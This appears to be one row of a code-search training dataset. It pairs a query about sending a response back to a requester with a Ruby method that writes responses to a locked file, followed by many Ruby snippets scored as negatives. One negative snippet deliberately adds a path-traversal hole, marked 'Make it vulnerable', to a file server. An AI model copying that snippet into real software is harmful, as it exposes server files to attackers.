query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Sends the response back to the requester instance
|
def send_response(uuid, message)
while true
unless is_locked? response_file
lock_file response_file
open(response_file, "a") do |file|
file.write("#{uuid}>>\n")
end
open(response_file, "a") do |file|
file.write("#{message}\n")
end
open(response_file, "a") do |file|
file.write("<<#{uuid}\n")
end
unlock_file response_file
return
end
sleep(0.1)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_response\r\n if self.response.class.name == \"Proc\"\r\n return self.response.call\r\n end\r\n self.response\r\n end",
"def send_request\n @response = _send_request\n end",
"def send_response\n\t\t\tsend_headers\n\t\t\tsend_body\n\t\t\tsend_trailer\n\t\t\tclose_connection_after_writing unless (@keep_connection_open and (@status || 200) < 500)\n\t\tend",
"def _send_response resp\n Handler.log.debug \"Sending response : #{resp}\"\n send_data resp.to_s + \"\\n\"\n resp\n end",
"def response; return @response end",
"def do_request\n\t\t\tself.response = post_request(options)\n\t\tend",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def perform\n response\n end",
"def response\n\t\t@response\n\tend",
"def state_response\n unless resp = handle(@request)\n raise \"No handler found for this URI (#{@request.url})\"\n end\n send_response(resp)\n end",
"def response\n @_response\n end",
"def finish_response; end",
"def response\n @response || perform and @response\n end",
"def send_request; end",
"def response\n self\n end",
"def response\r\n @response\r\n end",
"def response\n @response\n end",
"def response\n @response\n end",
"def _send_response response_payload, stream\n _write response_payload, stream\n end",
"def perform(request, response); end",
"def response\n @@response\n end",
"def response\n @response ||= request!(true)\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def request\n self.response = prepare_response(http_communication.content)\n end",
"def perform\n unless (response = session.last_response)\n raise HTTY::NoResponseError\n end\n show_response response\n self\n end",
"def response\n return launch_response if @echo_request.launch_request?\n return end_session_response if @echo_request.session_ended_request?\n\n ResponseFactory.new(@echo_request, @echo_response).response\n # SessionFactory.new(@echo_request, @echo_response).response\n end",
"def response\n @response\n end",
"def response\n @response\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def typhoeus_response\n @request.run\n end",
"def send(response)\n self.connection.puts(response.to_json)\n end",
"def receive_response(response); end",
"def retrieve_response\n session.post(url)\n end",
"def on_success(_request, response)\n response\n end",
"def execute!\n validate_request!\n\n build_response!\n end",
"def finish_response\n @channel.push(@response)\n @response = nil\n command\n end",
"def response\n parse_request\n do_something\n put_response\n end",
"def respond(request, data)\n return unless data\n request[\"result\"] = data\n @lock.synchronize do\n send_data(request.to_json + \"\\x00\")\n end\n end",
"def returns(response)\n @response = response\n self\n end",
"def run\n @response ||= build_response catch_halt{ @handler.run }\n end",
"def respond(response)\n unless response.committed?\n write_status(response)\n write_headers(response)\n write_body(response)\n end\n end",
"def deliver\n response = ''\n begin\n response = Client.post(PATH, params)\n # rescue => e\n # response = \"An error occurred with message: #{e.message}\"\n end\n response\n end",
"def call\n @called = true\n handleResponse @stubs\n end",
"def perform!\n @request_time = Time.now\n\n http_resp = adapter.make_request(@method, @resource.uri, @body, @header)\n @response = Resourceful::Response.new(uri, *http_resp)\n @response.request_time = @request_time\n @response.authoritative = true\n\n @response\n end",
"def out\n return @response.finish\n end",
"def response!\n return response if !response.errors?\n\n raise response.to_exception\n end",
"def call\n with(response: response)\n end",
"def response\n raise \"Need to define how connector handles response\"\n end",
"def reply\n end",
"def call(env)\n # catch(:halt) do\n # r = @_request\n # r.block_result(instance_exec(r, &block))\n # @_response.finish\n # end\n [200, { \"Content-Type\": \"text/plain\" }, \"Helo\"]\n end",
"def send_response(response)\n # Set the connection to close or keep-alive depending on what the client\n # can support.\n response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close'\n\n # Add any other standard response headers.\n server.add_response_headers(response)\n\n # Send it off.\n put(response.to_s)\n end",
"def reply\n @reply\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(payments_receipt_url(:only_path => false), :include => true)\n else\n render\n end\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(payments_receipt_url(:only_path => false), :include => true)\n else\n render\n end\n end",
"def respond(response)\n @publisher.publish(response)\n end",
"def call\n context.response ||= notify\n end",
"def _send_message data\n response << data\n end",
"def send\n if @accepted then\n # Calculate content length before sending\n \n @headers << \"Content-Length: #{@buffer.length}\\r\\n\"\n \n if !@content_type then\n @headers << \"Content-Type: text/html\\r\\n\"\n end\n\n # Send our data and close the connection\n @server.puts @headers\n @server.puts \"\\r\\n\"\n @server.puts @buffer\n @server.close\n else\n puts \"[Rsws] ERROR: Trying to send response without first accepting it\"\n end\n end",
"def response(message)\n puts \">> #{message.strip}\"\n @connection.puts(message)\n end",
"def response\n @response ||= begin\n if self.class.http_method == :post\n self.class.post path, :body => post_data\n else\n self.class.send self.class.http_method, path\n end\n end\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'receipt', :only_path => false, \n :gateway => OPTIONS[:gateways][:authorize_net]), \n :include => true)\n else\n # return back to purchase page - will display error message there\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'purchase', :only_path => false, \n :order_id => params[:x_invoice_num], :failure => true), \n :include => true)\n end\n end",
"def reply(data)\n res.json(Satz.serializer.dump(data))\n end",
"def respond(res)\n @rres = res\n end",
"def deliver\n @delivered = response.is_a? Net::HTTPSuccess\n end",
"def send\n http_response.code == 201\n end",
"def send\n http = EM::HttpRequest.new(@uri).post(@request_options)\n\n http.callback do\n process(http.response)\n end\n\n http.errback do\n fail(http.error)\n end\n end",
"def response\n connection.send(request_method) do |req|\n req.url path\n req.headers['LicenseID'] = client.license_id\n req.headers['Host'] = client.host\n req.headers['Connection'] = 'Keep-Alive'\n req.headers['Expect'] = '100-continue'\n req.headers['Content-Type'] = 'text/xml'\n req.body = body\n end\n end",
"def deliver!\n inform_interceptors\n response = delivery_method.deliver!(self)\n inform_observers\n delivery_method.settings[:return_response] ? response : self\n end",
"def response\n @response ||= connection.post(query)\n end",
"def process_response\n job = message.job\n job.data = message.data\n job.message = message.message\n\n if message.ok?\n job.proceed!\n else\n job.error!\n end\n end",
"def process\n send_request @action\n end",
"def response(env)\n env.trace 'open send connection'\n env.logger.debug \"Begin send request\"\n validate_send_params # Ensure required parameters\n if authenticate\n [200, {}, prepare_send_request]\n else\n [401, {}, \"Unauthorized\"]\n end\n end",
"def got_response(response)\n end",
"def call(&block)\n # RODA4: Remove\n catch(:halt) do\n r = @_request\n r.block_result(instance_exec(r, &block)) # Fallback\n @_response.finish\n end\n end",
"def finish(response, bypass_memoization = nil)\n if bypass_memoization\n @response = response\n else\n self.response = response\n end\n self.response.request = self\n execute_callbacks\n response\n end",
"def finish_request\n if (400..499).include? response.code\n set_error_body(response.code)\n end\n end",
"def finish ; request.session.save ; @response.finish ; end",
"def on_response &b\n @response_proc = b\n self\n end",
"def send_back\n send_raw(AWAY)\n end",
"def respond status:, headers: {}, body: ''\n @stream.respond status: status, headers: headers, body: body\n end",
"def call\n conn = http_setup\n res = set_up_response(method.to_sym, uri, conn, headers ,body)\n\n response = HttpResponse.new(res)\n response.uri = uri\n raise response.error if !response.success? && !@has_retry_filter\n response\n end",
"def after_response(status_hash, responder)\n end",
"def serve request, response, client, vhost\n @action.call(request, response, client, vhost) unless @action.nil?\n end",
"def finish_request\n unless @error\n response.headers['Location'] = \"/orders?id=#{@order.id}\"\n response.body = @order.to_json\n end\n end",
"def rails_controller_response\n controller_response = rails_controller_instance.response\n\n response.status = controller_response.status\n response.headers.merge! controller_response.headers\n response.write controller_response.body\n\n request.halt\n end",
"def response(&_)\n if block_given?\n @response ||= Response.new\n yield @response\n end\n @response\n end",
"def response\n @response ||= RestClient::Request.execute(\n method: :post,\n url: url,\n user: JabberAdmin.configuration.username,\n password: JabberAdmin.configuration.password,\n payload: payload.to_json\n )\n rescue RestClient::Exception => e\n @response = e.response\n end",
"def handle_response(response); end",
"def handle_response(response); end"
] |
[
"0.7569459",
"0.72112834",
"0.6902521",
"0.682388",
"0.674784",
"0.67368865",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.67181146",
"0.667778",
"0.666266",
"0.6641713",
"0.66308373",
"0.6580452",
"0.6464747",
"0.6462696",
"0.644703",
"0.6434489",
"0.6421871",
"0.63954926",
"0.635715",
"0.63493025",
"0.6340184",
"0.63315314",
"0.63260806",
"0.63037705",
"0.63023895",
"0.63003796",
"0.62962854",
"0.62962854",
"0.6291359",
"0.625941",
"0.6246381",
"0.6217798",
"0.61996293",
"0.6196136",
"0.61889404",
"0.61875993",
"0.6187036",
"0.61781573",
"0.61721116",
"0.61631036",
"0.6139807",
"0.6131848",
"0.61239195",
"0.61165214",
"0.6083415",
"0.6082324",
"0.60811174",
"0.6079853",
"0.6072855",
"0.60685813",
"0.60630697",
"0.6062871",
"0.6054111",
"0.6054111",
"0.6018544",
"0.60027164",
"0.59968424",
"0.5977956",
"0.5972278",
"0.5944509",
"0.593974",
"0.5937361",
"0.5930127",
"0.5925018",
"0.5912012",
"0.5909661",
"0.589957",
"0.58870804",
"0.58816797",
"0.58744687",
"0.58545876",
"0.58526695",
"0.5849615",
"0.584945",
"0.58391887",
"0.58353776",
"0.5834394",
"0.5833423",
"0.58331156",
"0.5821735",
"0.58132476",
"0.5811215",
"0.58099425",
"0.5804033",
"0.58020484",
"0.5797555",
"0.57970464",
"0.57943785",
"0.57943785"
] |
0.0
|
-1
|
Retrieves a response from the listener via the response file
|
def retrieve_response(uuid)
response = false
remaining_file_contents = []
message_has_begun = false
message_has_ended = false
if FileTest::file? response_file and not is_locked? response_file
lock_file response_file
open(response_file, "r") do |file|
while (line = file.gets)
if (line == "#{uuid}>>" or line == "#{uuid}>>\n") and not message_has_begun
message_has_begun = true
response = []
next
elsif (line == "<<#{uuid}" or line == "<<#{uuid}\n") and message_has_begun
message_has_ended = true
next
end
if message_has_begun and not message_has_ended
response.push line
else
remaining_file_contents.push line
end
end
end
if response and remaining_file_contents.first
open(response_file, "w") do |file|
file.write(remaining_file_contents.join() + "\n")
end
elsif response
open(response_file, "w") {}
end
unlock_file response_file
end
response
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def response_file\n @notifier_engine.response_file\n end",
"def receive_response(response); end",
"def _receive_response opaque\n _read stream\n end",
"def retrieve_response\n session.post(url)\n end",
"def read_unparsed_response(filename)\n File.read(\"spec/fixtures/files/responses/#{filename}\")\n end",
"def get\n @response = Net::HTTP.get_response(URI(@url))\n end",
"def receive_response hResp\n resp = Response.factory( hResp )\n Handler.log.debug \"Response received from #{ip_port}##{resp.id} : #{resp.result? ? resp.result : resp.error}\"\n emit( 'response', resp )\n if resp.id && @response_waited[resp.id]\n @response_waited.delete(resp.id).call(resp)\n elsif resp.result?\n Handler.log.warn \"No handler for this response !\"\n end\n resp\n end",
"def get_response\n debuglog 'get_response'\n response = rack_response\n @e.pre_response response\n response\n end",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def response_for(response_file, options = {})\n response = {}\n response[:body] = load_json(response_file)\n if options[:status]\n response[:status] = options[:status]\n end\n response\n end",
"def respond_with(file)\n response_path = File.dirname(__FILE__) + \"/../fixtures/response/xml\"\n File.read \"#{response_path}/#{file}.xml\"\nend",
"def upstream_response\n http = EM::HttpRequest.new(url).get\n logger.debug \"Received #{http.response_header.status} from NextBus\"\n http.response\n end",
"def get_response!\n HTTParty.send(self.https_method, *self.http_parse_args)\n end",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def get_Response()\n \t return @outputs[\"Response\"]\n \tend",
"def response\n @response ||= self.class.get(@events_url, @options)\n end",
"def response; return @response end",
"def response\n @response\n end",
"def retrieve_response\n token = session.token\n r = Session.build(token, Session.xml_requester(token))\n r.get(url)\n end",
"def read_unparsed_response(filename)\n File.read(\"spec/fixtures/files/#{filename}\")\n end",
"def response\n @response ||= Net::HTTP.new(uri.host).request(request)\n end",
"def read_request(client, filename)\n aFile = File.open(filename, 'r')\n if aFile\n contents = File.read(filename)\n client.puts \"\\n\\nCONTENTS OF #{filename}\\n*****************\\n\\n#{contents}\\n\\n*****************\\nEND OF #{filename}\"\n else\n client.puts \"ERROR: Unable to open file #{filename}\\nEND OF\"\n end\n aFile.close\n return\n end",
"def response\r\n @response\r\n end",
"def receive_response(response)\n # NOTE: Take a shallow clone of the listeners so that if receiving an\n # event causes a new listener to be added, it won't receive this response!\n @listeners.clone.each{ |listener| listener.receive_event response }\n end",
"def response\n @_response\n end"
] |
[
"0.687731",
"0.664301",
"0.6596049",
"0.63064325",
"0.6252205",
"0.62115574",
"0.6162234",
"0.6156959",
"0.6140987",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.61402243",
"0.6139964",
"0.6139964",
"0.6139964",
"0.6139964",
"0.6139964",
"0.6139964",
"0.6139964",
"0.6139964",
"0.6139916",
"0.6139916",
"0.6139916",
"0.6139916",
"0.6139916",
"0.61306894",
"0.608515",
"0.6079905",
"0.6063468",
"0.6050482",
"0.6050482",
"0.6050482",
"0.6050482",
"0.6050482",
"0.6050482",
"0.6050482",
"0.6050482",
"0.6050482",
"0.60186",
"0.6016798",
"0.59882146",
"0.5973193",
"0.5948964",
"0.5932979",
"0.5895403",
"0.5887597",
"0.5859494",
"0.5856251"
] |
0.6319434
|
3
|
Returns the path to the request file
|
def request_file
@notifier_engine.request_file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def request_path\n @request_path ||= ::File.expand_path(::File.join(root_dir, ::Rack::Utils.unescape(path_info)))\n end",
"def path\n request.path\n end",
"def get_request_file root, req_path, method, default=''\n path = File.join root, req_path\n file = \"#{path}.#{method}\"\n\n return file if File.file? file\n\n Dir.glob(File.join(path, \"_*_.#{method}\")).each do |f|\n return f\n end\n Dir.glob(File.join(File.dirname(file), \"_*_.#{method}\")).each do |f|\n return f\n end\n File.file?(default.to_s) ? default : nil\n end",
"def requested_file(request_line)\n request_uri = request_line.split(\" \")[1]\n # Make it vulnerable\n request_uri = request_uri.gsub(\"%c1%1c\", \"/\")\n path = URI.unescape(URI(request_uri).path)\n\n File.join(WEB_ROOT, path)\nend",
"def get_file_path\n @path\n end",
"def path\n @file\n end",
"def filerequested(request)\n\trequest_uri = request.split(\" \")[1]\n\tpath = \".\"+URI.unescape(URI(request_uri).path)\n\tpath = \"./index.html\" if path == \"./\"\n\treturn path\nend",
"def path\n parse_request! if @path.nil?\n @path\n end",
"def path\n file.url\n end",
"def path(request)\n request.path\n end",
"def path\n @file\n end",
"def local_file_for(request)\n request.squeeze!('/')\n serve_path, from = served.detect { |path, _| request.start_with?(path) }\n\n return if !from\n\n path = File.join(expand_from(from), request.sub(serve_path, ''))\n return if !File.file?(path)\n\n path\n end",
"def path\n\t\trequest.original_fullpath\n\tend",
"def path\n @file.path\n end",
"def file_path\n end",
"def path\n http_url RDoc::RDoc.current.generator.file_dir\n end",
"def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"def requested_file(request_line)\r\n # ... implementation details to be discussed later ...\r\nend",
"def requested_file(request)\n request_uri = request.split(\" \")[1]\n path = URI.unescape(URI(request_uri).path)\n\n clean = []\n\n # Split the path into components\n parts = path.split(\"/\")\n\n parts.each do |part|\n # skip any empty or current current directory (\".\") path components\n next if part.empty? || part == \".\"\n # If the path component goes up one directory level (\"..\"),\n # remove the last clean component\n # Otherwise, add the component to the Array of clean components\n part == \"..\" ? clean.pop : clean << part\n end\n\n # return the web root joined to the client path\n\n File.join(WEB_ROOT, *clean)\nend",
"def path\n @path ||= Rack::Utils.unescape(request.path_info)\n end",
"def request_path; end",
"def file_path; end",
"def file\n @pathname.to_s\n end",
"def file_path\n @file_path ||= lookup_file_path\n end",
"def path\n http_url @store.rdoc.generator.file_dir\n end",
"def request_path\n [request.base_url, request.path].join\n end",
"def path\n @uri.request_uri\n end",
"def path\n @file.path\n end",
"def path\n @filename\n end",
"def requested_file(request)\n uri = request.split(\" \")[1]\n clean_path = []\n parts = uri.split(\"/\")\n\n # skip if path component includes current directory (\".\")\n parts.each do |part|\n next if part.empty? || part == '.'\n\n # removes last component if path goes one directory level up (\"..\"), pass; else append to clean_path\n part == '..' ? next : clean_path << part\n end\n File.join(ROOT, *clean_path)\nend",
"def path_in_dir(file)\n \"#{@req.env['PATH_INFO']}/#{file}\".gsub('//', '/')\n end",
"def path ; @request.path_info ; end",
"def path\n self.file.to_s\n end",
"def requested_file(request_line)\n request_uri = request_line.split(' ')[1]\n path = URI.unescape(URI(request_uri).path)\n\n clean = []\n\n parts = path.split('/')\n parts.each do |part|\n next if part.empty? || part == '.'\n part == '..' ? clean.pop : clean << part\n end\n\n File.join(@root, *clean)\n end",
"def current_file_path\n current_file.to_path\n end",
"def path\n '/c/document_library/get_file?folderId=%i&name=%s' % [self.folderid, self.name]\n end",
"def current_path\n file.try(:path)\n end",
"def path\n if @file\n @file.name\n elsif @path\n @path.to_s\n elsif @stream.is_a?(File)\n @stream.path\n end\n end",
"def original_fullpath; end",
"def file_path\n dir\n end",
"def path\n return if @file.blank?\n if is_path?\n File.expand_path(@file)\n elsif @file.respond_to?(:path) && !@file.path.blank?\n File.expand_path(@file.path)\n end\n end",
"def access_path\n @tempfile_path || path\n end",
"def seo_request_path\n request.path\n end",
"def file\n FILE\n end",
"def file_path\n\t\tself.class.file_path\n\tend",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def file_path\n dir_name + file_name\n end",
"def path\n @path ||= @filename ? pathname.to_s : nil\n end",
"def hook_file_path\n get('beef.http.hook_file') || '/hook.js'\n end",
"def root_file_path; end",
"def path\n metadata.fetch(:path) do\n return if request_response_pairs.empty?\n request_response_pairs.first.first.path\n end\n end",
"def path\n location.path\n end",
"def path_for_rack_request(rack_request)\n if rack_request.path.start_with?('/')\n rack_request.path\n else\n \"/#{rack_request.path}\"\n end\n end",
"def build_request_path()\n path = \"/#{self.action}\"\n if query_string = build_query_string\n path += \"/#{query_string}\"\n end\n path\n end",
"def path\n io.path\n end",
"def path\n ::File.join(@folder, @file)\n end",
"def request_path\n current = requester\n path = []\n\n while current do\n path << current.spec.full_name\n\n current = current.request.requester\n end\n\n path\n end",
"def path\n return @path\n end",
"def path\n return @path\n end",
"def path\n return @path\n end",
"def target_file_path\n model.source_location(target_symbol)[:file_path]\n end",
"def file_path\n File.join(dir,filename)\n end",
"def file\n \"#{@request.path_info}.html\".gsub(/\\/\\./, 'index.')\n end",
"def path\n return @path\n end",
"def base_request_path\n Merb.dir_for(:public) / slice_url(:textim_delete_all)\n end",
"def path\n \"/#{UPLOAD_DIR}/#{filename}\"\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def path\n ensure_valid\n @path\n end",
"def filename\n get \"filename\"\n end",
"def access_file_name\n end",
"def web_file_path \n afilePath = building.web_path + SAVE_PATH + id.to_s\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix \n end\n\n afilePath\n end",
"def current_file_path\n clurl = AssetSettings[:local_assets][@file_id].last\n clurl.sub(/\\A#{AssetSettings[:local_assets].assets_url_prefix}/,\n '') if clurl\n end",
"def local_path\n @io.local_path\n end",
"def file_path\n self.class.file_path\n end",
"def file_path\n self.class.file_path\n end",
"def file_path\n self.class.file_path\n end",
"def path\n return self.saved? ? @realfile.path : nil\n end",
"def file\n return @file\n end",
"def file\n return @file\n end",
"def filename\n\t\treturn self.fullpath.split('/').last\n\tend",
"def file\n @file\n end",
"def file\n File.join(directory, @file)\n end",
"def body_path\n @body_path ||= Util.tmp_path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n URI.parse(@url).path\n end",
"def requested_file(request_line)\n request_uri = request_line.split(\" \")[1]\n path = URI.unescape(URI(request_uri).path)\n\n clean = []\n\n # Split the path into components\n parts = path.split(\"/\")\n\n parts.each do |part|\n # skip any empty or current directory (\".\") path components\n next if part.empty? || part == '.'\n # If the path component goes up one directory level (\"..\"),\n # remove the last clean component.\n # Otherwise, add the component to the Array of clean components\n part == '..' ? clean.pop : clean << part\n end\n\n # return the web root joined to the clean path\n File.join(WEB_ROOT, *clean)\n end",
"def path\n name + extension\n end",
"def full_path\n uri.request_uri\n end",
"def file\n File.join(root, FILENAME)\n end",
"def base_request_path\n Merb.dir_for(:public) / slice_url(:external_delete_all)\n end",
"def path\n data.path\n end",
"def path\n data.path\n end"
] |
[
"0.78012335",
"0.7460241",
"0.7295718",
"0.7248919",
"0.71520346",
"0.7149989",
"0.71346235",
"0.7084104",
"0.7083163",
"0.7082977",
"0.7058109",
"0.70255727",
"0.70001894",
"0.6976696",
"0.6962112",
"0.6958151",
"0.6951989",
"0.6920488",
"0.69173443",
"0.6911228",
"0.6907688",
"0.68521684",
"0.6850277",
"0.68462306",
"0.6799725",
"0.67660916",
"0.675887",
"0.67481804",
"0.6739939",
"0.67197764",
"0.66806227",
"0.6672215",
"0.6663477",
"0.6630396",
"0.66223407",
"0.6618265",
"0.6609894",
"0.6596443",
"0.65937626",
"0.6577588",
"0.65665644",
"0.655451",
"0.6538819",
"0.65226173",
"0.6500234",
"0.6474684",
"0.6474684",
"0.6474684",
"0.6458977",
"0.6452003",
"0.6445709",
"0.64393127",
"0.64289343",
"0.64247876",
"0.6422798",
"0.6420674",
"0.6420547",
"0.63906693",
"0.63891256",
"0.6388607",
"0.6388607",
"0.6388607",
"0.63856786",
"0.63843185",
"0.6374523",
"0.6355408",
"0.63499975",
"0.6337157",
"0.63319016",
"0.63319016",
"0.63319016",
"0.63319016",
"0.6328258",
"0.63228005",
"0.632163",
"0.6318887",
"0.6314231",
"0.62895685",
"0.6289248",
"0.6289248",
"0.6289248",
"0.6285815",
"0.6276582",
"0.6276582",
"0.6263131",
"0.6256187",
"0.6252086",
"0.6249447",
"0.62430596",
"0.62430596",
"0.62430596",
"0.62430596",
"0.6234977",
"0.62319356",
"0.62315995",
"0.6230122",
"0.62299645",
"0.6213393",
"0.6212165",
"0.6212165"
] |
0.74451673
|
2
|
Returns the path to the response file
|
def response_file
@notifier_engine.response_file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def response_uri(file)\n file.base_uri\n end",
"def get_file_path\n @path\n end",
"def path\n metadata.fetch(:path) do\n return if request_response_pairs.empty?\n request_response_pairs.first.first.path\n end\n end",
"def path\n file.url\n end",
"def path\n @file\n end",
"def response(env)\n if not @paths.is_a?(Array)\n @config.rack_file.not_found\n else\n @paths.inject([200, {}, '']) do |sum, path|\n # Fetch the response\n item = Stapler::Asset.new(@config, path).response(env)\n\n # Add the file title\n sum[2] << \"\\n\\n\\n/***** #{path} *****/\\n\\n\\n\"\n\n if item[0] != 200\n sum[2] << \"/* [#{item[0]}] Asset problem */\\n\\n\\n\"\n else\n # Headers are merged\n sum[1].merge!(item[1])\n # Body is concatenated\n sum[2] << Stapler::Utils.response_body(item)\n end\n\n # Return the response\n sum\n end\n end\n end",
